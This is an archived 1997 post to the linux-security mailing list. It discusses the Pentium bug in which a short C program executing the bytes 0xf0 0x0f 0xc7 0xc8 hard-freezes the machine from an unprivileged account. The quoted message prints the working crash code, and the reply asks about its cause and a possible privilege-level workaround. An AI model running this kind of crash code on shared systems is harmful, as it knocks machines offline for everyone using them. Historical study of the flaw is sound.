[1660] in linux-security and linux-alert archive
[linux-security] Re: pentium bug makes security under linux impossible
daemon@ATHENA.MIT.EDU (Joachim Ott)
Mon Nov 10 07:02:49 1997
Date: Mon, 10 Nov 1997 03:58:14 +0100
From: Joachim Ott <ott@ardala.han.de>
To: linux-security@redhat.com
In-Reply-To: <mng==m0xUFcS-000ALXC@jacob.remcomp.fr>
Resent-From: linux-security@redhat.com
Reply-To: linux-security@redhat.com
In article <mng==m0xUFcS-000ALXC@jacob.remcomp.fr> you write:
>
>This morning I received this message from the list gnu-win32@cygnus.com:
>The sender was anonymous
>
>>
>> There is a SERIOUS bug in all pentium CPUs. The following
>> code will crash any machine running on a pentium CPU, MMX or no
>> MMX, any speed, regardless of OS (crash as in instant seize, hard
>> reboot the only cure):
>>
>> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>>
>> main ()
>> {
>> void (*f)() = x;
>> f();
>> }
>>
>> This require no special permissions to run, it works fine with
>> average-joe-userspace permissions. I have verified this, it works.
>> Demand a new CPU from Intel.
>>
>
>Curious, I compiled that under Linux OS. Linux freezed. Dead.
>Without *any* warning.
>
>My machine is a Genuine Intel 166 MHZ Pentium MMX.
Does it freeze without the LOCK instruction (0xf0) too? (Intel meant
"lock bus" and not "lock machine" with that instruction)
If not, does the Pentium generate an exception (like an 80386), when
it executes a LOCK and CPL is greater IOPL? It could be a workaround
then to let a user process execute at CPL 3 and IOPL 2.
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